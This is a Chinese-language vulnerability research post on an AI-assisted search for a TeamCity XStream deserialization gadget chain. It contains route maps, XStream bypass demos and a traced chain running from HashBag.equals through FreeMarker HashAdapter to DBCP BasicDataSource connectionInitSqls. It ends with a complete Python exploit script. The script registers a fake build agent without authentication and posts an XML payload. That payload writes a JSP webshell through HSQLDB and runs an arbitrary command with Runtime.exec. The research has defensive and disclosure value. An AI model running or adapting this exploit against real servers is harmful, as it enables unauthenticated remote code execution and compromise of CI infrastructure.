AI辅助Teamcity RCE、新攻击面挖掘
最近漏洞爆发比较频繁(尤其java漏洞),于是想将之前的代码审计工具结合AI去实现做自动化漏洞挖掘以及gadget链路寻找(进行一次AI代码审计的探索)。
一、前言
最近漏洞爆发比较频繁(尤其java漏洞),于是想将之前的代码审计工具结合AI去实现做自动化漏洞挖掘以及gadget链路寻找(进行一次AI代码审计的探索)。
其中Teamcity是重点关注的产品之一,于是结合AI+SAST对Teamcity进行深入分析。挖掘出gadget,并且一个新的攻击面。
二、漏洞分析
2.1、路由分析
TeamCity 路由路径层级树
第一层:conf/web.xml(Tomcat 全局,server.xml 默认已配)
<root>/
├─ / (default servlet) → 静态资源兜底
├─ *.jsp / *.jspx (jsp servlet) → Tomcat JSP(全局层)
├─ *.shtml (ssi)
└─ /cgi-bin/* (cgi)第二层:ROOT web.xml(TeamCity 主路由)
/* 前两行是默认/静态
├─ / (default servlet)
├─ *.shtml (ssi)
│
├─ buildServer = TeamCityDispatcherServlet ← 主线
│ ├─ *.jsp / *.jspx
│ ├─ *.html
│ ├─ /mnt/* (MaintenanceServlet 启动期)
│ ├─ /maintenance/ajax/*
│ ├─ /update/*
│ ├─ /chart.png
│ ├─ /RPC2
│ ├─ /repository/*
│ ├─ /get/*
│ ├─ /builds/*
│ ├─ /httpAuth/*
│ ├─ /guestAuth/*
│ ├─ /presignedTokenAuth/*
│ ├─ /.well-known/acme-challenge/*
│ ├─ /res/*
│ ├─ /healthCheck/*
│ ├─ /overview, /favorite{,/projects,/builds,/agentPools}
│ ├─ /project/* /buildConfiguration/* /build/* /agents/* /agent/*
│ ├─ /cloudImage/* /cloudProfile/* /agentPool/*
│ ├─ /test/* /change/* /changes /queue /learn
│ ├─ /pipelines/* /pipeline/* /investigations /notifications /projects/create
│ └─ /app/* ← 插件/控制器专用
│
├─ realJspServlet = Jasper (org.apache.jasper.servlet.JspServlet)
│ └─ *.jspws ← RCE 落点(不走 buildServer)
│
└─ MaintenanceServlet = StartupServlet
└─ /mnt/*第三层:/app/* 路由(Spring HandlerMapping,buildServerSpringWeb.xml)
/app/*
├─ /app/agents/v1/** → agentPollingProtocolController
├─ /app/agents/protocols → agentProtocolsController
├─ /app/https/settings/** → httpsCertificateSettingsController
├─ /app/license/** → licenseManagerRestController
└─ /app/buildLog/** → remoteBuildLogController第四层:/app/agents/v1/**(AgentPollingProtocolController 内部分派)
/app/agents/v1/
├─ register → registerAgent(无认证)
└─ commands/
├─ next → handleNextCommandRequest
├─ result → handleCommandIsDoneRequest
├─ error → handleCommandIsFailedRequest ← XStream 反序列化
└─ inProgress → handleCommandInProgress2.2、攻击面
也就是我们需要找一个xstream绕过的gadget链
/app/agents/v1/
├─ register → registerAgent(无认证)
└─ commands/
├─ error → handleCommandIsFailedRequest ← XStream 反序列化2.3、xstream特性
目前xstream采用了白名单机制
i、了解xstream特性1-属性豁免
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.XppDriver;
import com.thoughtworks.xstream.security.NoTypePermission;
import org.apache.commons.dbcp2.BasicDataSource;
/** XStream 4 特性一屏演示: 属性豁免 / 层级豁免 / final可改 / transient不可写 (复刻 8111 白名单+层级) */
public class Mini4Features {
static class H {
public transient String t = new String("keep"); // ④ transient: 反序列化不写 → 保持默认
public final String fi = new String("x"); // ③ final(非折叠): 反射可改 → 变 y
public Exception ex; // ② 层级豁免: class= 显式用 Throwable 子类
public BasicDataSource ds; // ① 属性豁免: 无 class= 用字段声明类型
}
public static void main(String[] a) {
XStream x = new XStream(new XppDriver());
x.addPermission(NoTypePermission.NONE);
x.allowTypes(new Class[]{H.class, String.class}); // 白名单: 仅宿主+String (无 BasicDataSource/HsqlException)
x.allowTypeHierarchy(java.util.Map.class); // 默认层级豁免
x.allowTypeHierarchy(java.util.Collection.class);
x.allowTypeHierarchy(Throwable.class); // ← HsqlException 靠这层
x.allowTypeHierarchy(Number.class);
x.alias("h", H.class);
H h = (H) x.fromXML(
"<h>" +
"<fi>y</fi>" + // ③ 改 final String (非折叠 → 可改)
"<ex class=\"org.hsqldb.HsqlException\">boom</ex>" + // ② 层级豁免: 非JDK Throwable子类, 无模块限制
// ① 属性豁免: <ds> 无 class=, 元素名映射不到 → 用字段声明类型 BasicDataSource 实例化, 不经 SecurityMapper
// (BasicDataSource 不在白名单, 但字段类型豁免放行 → 这就是 R7 把数据源藏进 myDataSource 的原理)
"<ds>" +
" <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>" +
" <url>jdbc:hsqldb:mem:x</url>" +
" <userName>SA</userName>" +
" <closed>false</closed>" +
"</ds>" +
"</h>");
System.out.println("④ t (transient) = " + h.t); // "keep" → transient 不改
System.out.println("③ fi (final) = " + h.fi); // "y" → final(非折叠)可改
System.out.println("② ex (层级豁免) = " + h.ex.getClass().getSimpleName()); // HsqlException
System.out.println("① ds (属性豁免) = " + h.ds.getClass().getSimpleName()); // BasicDataSource
}
}
ii、了解xstream触发器
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.XppDriver;
import com.thoughtworks.xstream.security.NoTypePermission;
import java.util.HashSet;
/** XStream 如何触发 hashCode: 反序列化 HashSet 时 CollectionConverter 对元素调 add → 自动 hashCode (R7 链入口) */
public class MiniHashCode {
static class Trigger {
public String s;
Trigger() { System.out.println(" 构造 Trigger (s 未填)"); }
public int hashCode() {
System.out.println(" ★ hashCode 被触发! s=" + s);
return 1;
}
}
static class H { public HashSet<Trigger> set; } // 字段声明类型 HashSet → 属性豁免实例化
public static void main(String[] a) {
XStream x = new XStream(new XppDriver());
x.addPermission(NoTypePermission.NONE);
x.allowTypes(new Class[]{H.class, Trigger.class, String.class}); // 白名单: 宿主+Trigger+String
x.allowTypeHierarchy(java.util.Collection.class); // HashSet 靠层级豁免
x.alias("h", H.class);
x.alias("t", Trigger.class);
System.out.println("反序列化开始 ...");
H h = (H) x.fromXML(
"<h>" +
" <set>" + // 无 class= → 字段声明类型 HashSet (属性豁免)
" <t><s>a</s></t>" + // 元素: 先反序列化出 Trigger(s=a), 再 add 进 set
" <t><s>b</s></t>" +
" </set>" +
"</h>");
System.out.println("反序列化结束: set.size=" + h.set.size());
}
}
2.4、Call Chain & Data Flow简单构建
i、Call Chain构建
在分析java文件的时候,会遇到符号问题。
package com.example;
import com.foo.*;
import com.xxx.*;
public class Main {
void run() {
Test test = new Test();
test.say();
}
}比如Test这个类到底来自com.foo还是com.xxx呢? 可以使用JavaParser的 Symbol Solver 解析,因为它会根据优先级自动在classpath/sourcepath 中寻找。
所以在做分析的时候,还是最好下载jar(因为JavaParser会构建jvm虚拟机),方便解析符号。
ii、 Data Flow 构建
污点分析比较重要:只做一个粗略的数据流跟踪就好了,剩余的交给AI吧。
CHA问题:java最主要是的CHA问题,比如Test test ,那么Test的子类都是有可能的,为了减少CHA路径路径爆炸,目前只覆盖了overwrite的CHA子类。
剩下的就是一下小问题:比如invoke方法、call方法这些,无法串联。可以使用夹逼原理去串联。
iii、总结
最终再把这些导入neo4j中,快速找链路。 构建好了基本节点后,可以通过给节点打tag方式补充,可以增加找链的条件限制。(比如xstream的gadget就跟其他的gadget都不用)

接下来就可以找链路了。
2.5、xstream链
i、get->invoke链路
最开始可以思考为get/hashCode/equals/compareTo触发点,sink点是invoke。

考虑到路径爆炸,只会做overwrite,以及做能做数据污染的sink的caller,最终根据骨架(source->sink,以及中间链的特定函数白名单保留、黑明单过滤),筛选出29条链路出来。

最终让ai分析所有的链路,最终发现Map#get → HashAdapter#get → BeansWrapper#invokeMethod → Method#invoke链路可行。
可以做数据流分析->ai分析,然后沉淀过滤分析,因为这里的链路调用的函数类都是很重叠的。

map.get("xxxxx") ← map = HashAdapter (entry[2])
└─ HashAdapter.get("xxxxx")
└─ BeanModel.get("xxxxx")
└─ invokeThroughDescriptor
└─ Method.invoke数据流分析
hop[1]: Map#get → HashAdapter#get ✅
// HashAdapter.java:40,72
private final TemplateHashModel model;
public Object get(Object key) {
return wrapper.unwrap(model.get(String.valueOf(key)));
}
HashAdapter extends AbstractMap implements Map,override get。✅
hop[2]: HashAdapter#get → BeanModel#get ✅
model.get(...) // model 是 TemplateHashModel 接口
BeanModel implements TemplateHashModel(BeanModel.java:54 注释明确 "wraps arbitrary object into TemplateHashModel")。若 model 运行时 = BeanModel,分发到 BeanModel.get。✅
hop[3]: BeanModel#get → invokeGenericGet ✅
// BeanModel.java:142-154
public TemplateModel get(String key) {
...
if (wrapper.isMethodsShadowItems()) {
Object fd = classInfo.get(key);
if (fd != null) {
retval = invokeThroughDescriptor(fd, classInfo); // 路径 A
} else {
retval = invokeGenericGet(classInfo, clazz, key); // 路径 B
}
}
}
两条子路径都通向 invoke:
- 路径 A invokeThroughDescriptor → line 225/233 wrapper.invokeMethod(object, pd.getReadMethod(), null)
- 路径 B invokeGenericGet → line 274 wrapper.invokeMethod(object, genericGet, new Object[]{key})
CHA 标 hop[3]=invokeGenericGet,但 invokeThroughDescriptor 也通。✅
hop[4]: invokeGenericGet → BeansWrapper#invokeMethod ✅
// BeanModel.java:266,274
protected TemplateModel invokeGenericGet(Map classInfo, Class<?> clazz, String key) {
Method genericGet = (Method) classInfo.get(ClassIntrospector.GENERIC_GET_KEY);
...
return wrapper.invokeMethod(object, genericGet, new Object[] { key });
}
wrapper.invokeMethod(object, method, args)。✅
hop[5]: BeansWrapper#invokeMethod → Method#invoke ✅
// BeansWrapper.java:1547-1555
protected TemplateModel invokeMethod(Object object, Method method, Object[] args) {
Object retval = method.invoke(object, args); // ← 真正的 invoke
return ...;
}
method.invoke(object, args) — 这就是终点 java.lang.reflect.Method#invoke。✅ii、getter方法链
以geter方法为启动,寻找sink点,最终发现BasicDataSource.getConnection() 的sink calle

pool.getConnection() ← 你指的这步
→ PoolingDataSource.getConnection() (BasicDataSource.java:52 拿到 pool 后调它)
→ GenericObjectPool.borrowObject() [池子借连接]
→ 池空 → create() [GenericObjectPool.java:190]
→ factory.makeObject() [GenericObjectPool.java:173]
→ PoolableConnectionFactory.makeObject() [DBCP 的 factory]
→ createPoolableConnection(conn)
→ initializeConnection(conn) ← 真正执行 SQL 在这
→ for sql in connectionInitSqls:
conn.createStatement().execute(sql) ★ sink ★数据流分析
① BasicDataSource.getConnection() — BasicDataSource.java:718,731
public Connection getConnection() throws SQLException {
...
return createDataSource().getConnection(); // createDataSource() 初始化, .getConnection() 借连接
}
② createDataSource() — BasicDataSource.java:507-570(关键 setup)
protected DataSource createDataSource() throws SQLException {
if (dataSource != null) return dataSource; // 已建则返回(payload 是新实例, 未建)
synchronized (this) {
final ConnectionFactory driverConnectionFactory = createConnectionFactory(); // 建 HSQLDB driver
poolableConnectionFactory = createPoolableConnectionFactory(driverConnectionFactory);
...
createConnectionPool(poolableConnectionFactory); // pool = new GenericObjectPool(factory)
newDataSource = createDataSourceInstance(); // newDataSource = new PoolingDataSource(pool)
...
return dataSource = newDataSource; // ← 返回 PoolingDataSource
}
}
③ initSqls 注入点 — BasicDataSource.java:625,633
protected PoolableConnectionFactory createPoolableConnectionFactory(ConnectionFactory driverConnectionFactory) {
PoolableConnectionFactory connectionFactory = new PoolableConnectionFactory(driverConnectionFactory, ...);
connectionFactory.setPoolStatements(poolPreparedStatements);
connectionFactory.setMaxOpenPreparedStatements(maxOpenPreparedStatements);
...
connectionFactory.setConnectionInitSql(connectionInitSqls); // ★ 攻击者的 SQL 列表传入 factory
return connectionFactory;
}
connectionInitSqls 是 BasicDataSource 字段(line 321 private volatile List<String> connectionInitSqls)— payload 直接注入(writefile_only.xml 的 <connectionInitSqls><string>...</string></connectionInitSqls>)。经 setConnectionInitSql(line 486-487)存入 PoolableConnectionFactory 的 connectionInitSqls 字段(line 62)。
④ PoolingDataSource.getConnection() — PoolingDataSource.java:139
public Connection getConnection() throws SQLException {
final C conn = pool.borrowObject(); // 借连接 → 池空触发 create → makeObject
...
}
pool 是 GenericObjectPool,factory 是 PoolableConnectionFactory。
⑤ borrowObject → create → factory.makeObject() — GenericObjectPool.java
// borrowObject (line 433 → 276): 池空时
p = create(); // line ~453
// create() (line 515+):
final PooledObject<T> p;
p = factory.makeObject(); // line 571 ← 调 PoolableConnectionFactory.makeObject
⑥ makeObject() → initializeConnection() — PoolableConnectionFactory.java:373
public PooledObject<PoolableConnection> makeObject() throws Exception {
Connection conn = connectionFactory.createConnection(); // 建真实 HSQLDB 连接
try {
initializeConnection(conn); // ★ 初始化时执行 SQL
} catch (final SQLException sqle) {
Utils.closeQuietly(conn);
throw sqle; // SQL 失败抛出
}
...
}
⑦ initializeConnection → execute(sql) — PoolableConnectionFactory.java:320-331 ★ SINK ★
protected void initializeConnection(final Connection conn) throws SQLException {
final Collection<String> sqls = connectionInitSqls; // 攻击者注入的 SQL 列表
if (conn.isClosed()) { throw new SQLException("...closed"); }
if (null != sqls) {
try (Statement stmt = conn.createStatement()) { // 创建 JDBC Statement
for (final String sql : sqls) { // 遍历每条 SQL
Objects.requireNonNull(sql, "null connectionInitSqls element");
stmt.execute(sql); // ★★★ 执行攻击者 SQL ★★★
}
}
}
}iii、get/equals/compare触发器?
HashBag bag1 = new HashBag();
bag1._map = adapter;
HashBag bag2 = new HashBag();
bag2._map = adapter;
HashSet set = new HashSet();
set.add(bag1);
set.add(bag2);最终equals的参数就是HashBag自己。
class HashBag extends DefaultMapBag
class DefaultMapBag
public boolean equals(Object object) {
if (object instanceof Bag == false) {
return false;
}
Bag other = (Bag) object; // other == bag1
for (Iterator it = this._map.keySet().iterator(); it.hasNext();) {
Object element = it.next(); // "connection"
if (other.getCount(element) != this.getCount(element)) {
return false;
}
}
return true;
}随后bag2(也就是this),this.map (就是HashAdapter),随后遍历this.map(HashAdapter)的keyset获取到connection字符串,最终this.map(HashAdapter).get("connection")
public int getCount(Object object) {
int result = 0;
Integer count = MapUtils.getInteger(this._map, object);
->
public static Integer getInteger(Map map, Object key) {
Number answer = getNumber(map, key);
->
public static Number getNumber(Map map, Object key) {
if (map != null) {
Object answer = map.get(key);iiii、整合
1、equasl方法可调用任意Map.get方法 equals->Map.get
2、Map.get->Method.invoke 可以调用任意obj的getter方法
3、寻找能过层级白名单或者属性豁免的Obj的getter方法。
#!/usr/bin/env python3
"""R7 HTTP probe with DefaultMapBag/HashBag replacing TiedMapEntry.
The two equal-hash HashBag instances share the R7 HashAdapter. The payload
preloads HashAdapter.entrySet with a hash-0 DefaultMapEntry so the HashBag
hashCode precondition is safe; HashSet.add then enters inherited
DefaultMapBag.equals -> getCount -> HashAdapter.get.
"""
import argparse
import random
import time
import urllib.error
import urllib.request
DEFAULT_SERVER = "http://127.0.0.1:8111"
DEFAULT_CMD = "touch /tmp/xstream_default_map_bag_http"
def http(server, path, method="GET", headers=None, body=None):
data = body.encode("utf-8") if isinstance(body, str) else body
req = urllib.request.Request(server + path, data=data, method=method)
for key, value in (headers or {}).items():
req.add_header(key, value)
try:
with urllib.request.urlopen(req, timeout=30) as response:
return response.status, dict(response.headers), response.read().decode("utf-8", "replace")
except urllib.error.HTTPError as exc:
return exc.code, dict(exc.headers), exc.read().decode("utf-8", "replace")
def hexn(length):
return "".join(random.choice("0123456789abcdef") for _ in range(length))
def build_payload(cmd, hexid):
"""Build the complete R7 payload with only the trigger replaced.
entry[1] builds BasicDataSource; entry[2] exposes it through HashAdapter.
entry[3] contains two equal-hash HashBag objects. HashAdapter.entrySet is
preloaded with a zero-hash DefaultMapEntry so HashBag.hashCode is safe;
HashSet.add then invokes DefaultMapBag.equals on the second bag.
"""
jsptoken = hexn(16)
table = "TA" + hexn(11).upper()
column = "C" + hexn(11).upper()
key1 = hexn(12)
key2 = hexn(12)
key3 = hexn(12)
dbname = "d" + hexn(11)
output = hexn(12)
return f'''<?xml version="1.0" encoding="UTF-8"?>
<linked-hash-map>
<entry>
<string>{key1}</string>
<jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
<outer-class>
<myHSQLStorage>
<myDataSource>
<defaultTransactionIsolation>-1</defaultTransactionIsolation>
<cacheState>true</cacheState>
<driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
<lifo>true</lifo><maxTotal>8</maxTotal><maxIdle>8</maxIdle><minIdle>0</minIdle>
<initialSize>0</initialSize><maxWaitMillis>-1</maxWaitMillis>
<poolPreparedStatements>false</poolPreparedStatements>
<clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>
<maxOpenPreparedStatements>-1</maxOpenPreparedStatements>
<testOnCreate>false</testOnCreate><testOnBorrow>true</testOnBorrow>
<testOnReturn>false</testOnReturn><timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>
<numTestsPerEvictionRun>3</numTestsPerEvictionRun>
<minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>
<softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>
<evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>
<testWhileIdle>false</testWhileIdle><password/>
<url>jdbc:hsqldb:mem:{dbname}</url><userName>SA</userName>
<validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>
<connectionInitSqls>
<string>CREATE TABLE IF NOT EXISTS {table}({column} VARCHAR(4000))</string>
<string>INSERT INTO {table} VALUES ('<% if (application.getAttribute("{jsptoken}") == null) {{ application.setAttribute( "{jsptoken}", java.lang.Boolean.TRUE ); java.nio.file.Files.deleteIfExists( java.nio.file.Path.of( application.getRealPath("/{hexid}.jspws") ) ); java.lang.Runtime.getRuntime().exec("{cmd}"); out.print("{output}"); }} %>')</string>
<string>SCRIPT '../webapps/ROOT/{hexid}.jspws'</string>
</connectionInitSqls>
<accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>
<maxConnLifetimeMillis>-1</maxConnLifetimeMillis><logExpiredConnections>true</logExpiredConnections>
<autoCommitOnReturn>true</autoCommitOnReturn><rollbackOnReturn>true</rollbackOnReturn>
<fastFailValidation>false</fastFailValidation><connectionProperties/>
<closed>false</closed>
</myDataSource>
<myStopped>false</myStopped><myDatabaseOpen>false</myDatabaseOpen>
</myHSQLStorage>
</outer-class>
</jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
</entry>
<entry>
<string>{key2}</string>
<freemarker.ext.beans.HashAdapter>
<wrapper>
<sharedIntrospectionLock/>
<classIntrospector>
<exposureLevel>0</exposureLevel><exposeFields>false</exposeFields>
<treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>
<incompatibleImprovements>
<major>2</major><minor>3</minor><micro>0</micro><intValue>2003000</intValue>
<calculatedStringValue>2.3.0</calculatedStringValue><hashCode>0</hashCode>
</incompatibleImprovements>
<hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions><shared>false</shared>
<sharedLock reference="../../sharedIntrospectionLock"/><cache/><cacheClassNames/>
<classIntrospectionsInProgress/><modelFactories/><clearingCounter>0</clearingCounter>
</classIntrospector>
<falseModel>
<object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
<wrapper reference="../.."/><value>false</value>
</falseModel>
<writeProtected>false</writeProtected><defaultDateType>0</defaultDateType>
<methodsShadowItems>true</methodsShadowItems><simpleMapWrapper>false</simpleMapWrapper>
<strict>false</strict><preferIndexedReadMethod>true</preferIndexedReadMethod>
<incompatibleImprovements reference="../classIntrospector/incompatibleImprovements"/>
</wrapper>
<model reference="../wrapper/falseModel"/>
<entrySet class="org.apache.commons.collections.set.MapBackedSet">
<map>
<entry>
<org.apache.commons.collections.keyvalue.DefaultMapEntry>
<key class="string">connection</key>
<value class="string">connection</value>
</org.apache.commons.collections.keyvalue.DefaultMapEntry>
<string>dummy</string>
</entry>
</map>
<dummyValue/>
</entrySet>
</freemarker.ext.beans.HashAdapter>
</entry>
<entry>
<string>{key3}</string>
<set>
<org.apache.commons.collections.HashBag>
<__map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
<__total>1</__total><__mods>1</__mods>
</org.apache.commons.collections.HashBag>
<org.apache.commons.collections.HashBag>
<__map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
<__total>1</__total><__mods>1</__mods>
</org.apache.commons.collections.HashBag>
</set>
</entry>
</linked-hash-map>
'''
def main():
parser = argparse.ArgumentParser(description="DefaultMapBag.equals R7 trigger probe")
parser.add_argument("cmd", nargs="?", default=DEFAULT_CMD,
help="single command for Runtime.exec (default: %(default)s)")
parser.add_argument("--url", default=DEFAULT_SERVER,
help="TeamCity URL (default: %(default)s)")
args = parser.parse_args()
server = args.url.rstrip("/")
agent = f"default-map-bag-{int(time.time())}"
hexid = hexn(12)
print("=== DefaultMapBag.equals R7 trigger probe ===")
print(f"target: {server} jspws: /{hexid}.jspws cmd: {args.cmd}")
print("[1] register ...")
register_xml = (f'<agentDetails agentName="{agent}" agentAddress="127.0.0.1" '
'agentPort="9090" authToken="x" pingCode="p">'
'<version agent="1.0.0" plugins="1.0.0"/></agentDetails>')
status, headers, _ = http(server, "/app/agents/v1/register", "POST",
{"Content-Type": "application/xml"}, register_xml)
session = headers.get("TeamCity-AgentSessionId", "")
print(f" HTTP {status} session={session}")
if status != 200 or not session:
return 1
print("[2] commands/next ...")
command_id = ""
for attempt in range(6):
status, headers, _ = http(server, "/app/agents/v1/commands/next",
headers={"TeamCity-AgentSessionId": session})
command_id = headers.get("TeamCity-AgentCommandId", "")
print(f" attempt {attempt}: HTTP {status} id={command_id}")
if command_id:
break
time.sleep(1)
if not command_id:
print(" !! no command id")
return 1
payload = build_payload(args.cmd, hexid)
print(f"[3] commands/error POST ({len(payload)} bytes) ...")
status, _, body = http(
server, "/app/agents/v1/commands/error", "POST",
{"TeamCity-AgentSessionId": session,
"TeamCity-AgentCommandId": command_id,
"Content-Type": "application/xml"}, payload)
print(f" HTTP {status} (500 expected after deserialization side effect)")
print(f" body[:160]={body[:160]!r}")
print(f"[4] GET /{hexid}.jspws ...")
status, _, body = http(server, f"/{hexid}.jspws")
print(f" HTTP {status} body[:120]={body[:120]!r}")
print()
print("=== verify ===")
print("container marker:")
print(" docker exec tc-cve-2026-63077 test -e /tmp/xstream_default_map_bag_http")
print("server log should contain DefaultMapBag.equals -> getCount -> HashAdapter.get")
return 0
if __name__ == "__main__":
raise SystemExit(main())
三、Teamcity其他0day
AI发现这次补丁并未完全修复,还有其他攻击面,等补丁修复后有时间再分享吧。

四、题外话-cc链的新触发器
在实验过程中构建harness中,顺便找到cc的其他触发器记录。

五、总结
目前让AI自住完成一次非常复杂的漏洞发现还是遇到一些困难的,还是不断需要人工去修正。

但是丰富一些harness(比如调用链)给它,让它自主挖掘出这个漏洞也是可行的。
也许不久的将来,AI可以就真正代替代码审计任务了。